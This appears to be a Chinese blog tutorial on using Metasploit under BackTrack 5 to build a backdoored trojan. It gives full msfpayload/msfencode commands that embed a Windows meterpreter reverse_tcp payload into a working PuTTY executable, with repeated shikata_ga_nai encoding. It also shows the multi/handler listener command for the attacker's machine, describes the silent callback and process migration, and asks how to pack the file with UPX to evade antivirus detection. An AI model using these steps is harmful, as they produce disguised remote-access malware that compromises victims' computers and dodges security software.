一、选定木马载荷
一个木马首先要有功能代码,比如隐蔽后门,窃取隐私等等,Metasploit下已经为我们提供了丰富的攻击载荷可以使用,我们可以在msfconsole下使用msfpayload查看相关的攻击载荷:
![Metasploit【四】:利用BT5制作简单的后门木马-LMLPHP Metasploit【四】:利用BT5制作简单的后门木马-LMLPHP](https://c1.lmlphp.com/user/master/2020/09/14/son_1/b4887c0d3a29e50a2599486d87c5cead.png)
这里的具体命令为:
msfpayload -l | grep 'windows' | grep 'reverse_tcp' | grep 'meterpreter'
-l:列出msf支持的所有payload模块
后续的几个grep命令则是通过管道过滤模块信息,最终只选择windows平台适用的自动连接后门的、可以进行后渗透攻击的模块,这里实际上我们选择了第一个“windows/meterpreter/reverse_tcp”,然后我们查看该模块需要的配置信息,加字母'O'即可:
![Metasploit【四】:利用BT5制作简单的后门木马-LMLPHP Metasploit【四】:利用BT5制作简单的后门木马-LMLPHP](https://c1.lmlphp.com/user/master/2020/09/14/son_1/2d6145abe4468414adbf20899d1719f2.png)
可以看到这里的LHOST作为攻击主机的IP缺省,需要我们手动配置,而靶机自动回连的端口默认为4444,建议手动设置为80/8080等常用端口
二、将攻击载荷绑定到载体程序
这里的攻击载荷需要和一个正常程序绑定起来,我们选择的是Putty.exe,常见的ssh工具,这里需要使用msfencode命令,该命令的作用就是将一段代码包装成可执行文件,正常的Putty.exe用来作为最终恶意执行文件的生成模板。
这里的命令比较常,仔细看就是:
msfpayload windows/meterpreter/reverse_tcp LHOST=AttackerIP LPORT=80 R | msfencode -t exe -x putty.exe -k -o putty_backdoor.exe -e x86/shikata_ga_nai -c 7
先看msfpayload的参数:
--LHOST/LPORT:用来指定攻击主机的IP和端口,也就是靶机的后门要连接的地址
--R:Raw,攻击载荷的原始二进制码,允许载荷通过管道作为msfencode等其他工具的输入
再来看msfencode的参数:
--t:输入文件的格式,常见的可以有exe\perl\pl\ruby\asp\dll等
--x:指定一个生成可执行文件的文件模板
--k:保持模板文件正常工作,攻击载荷在新的线程中运行
--o:输出文件
--e:使用的编码器
--c:对数据进行编码的次数
这步工作完成之后,我们可以得到包含了攻击载荷的putty_backdoor.exe程序
三、靶机测试
在靶机上运行我们的恶意后门之前,首先要在攻击机上开启监听程序:
msfcli exploit/multi/handler payload=windows/meterpreter/reverse_tcp LHOST=IP LPORT=80 E
然后再靶机上运行putty_backdoor.exe之后,结果会和正常程序一样,唯一不同的是会悄悄连接我们的攻击主机,然后运行migrate命令,将我们的攻击载荷迁移到其他正常进程中,可以避免随着putty的关闭而关闭。如何感染文件,如何确保下次自启动,如何获取文件,则是meterpreter负责的后渗透工作了。
问题:
这里自己做的putty_backdoor.exe尽管经过了7次编码,但是还是被360一下检测出来了,如果想免杀,最简单的方法是加壳;可以使用UPX工具来加壳,可是自己运行upx命令时却无法对putty_backdoor.exe加壳,提示
CantPackException: superfluous data between sections“节之间有数据错误”
但是如果对于是正常的putty.exe则upx可以正常打包,看来是msfencode导致了文件格式的错误,但是却并不妨碍程序运行,但是应当如何修改呢?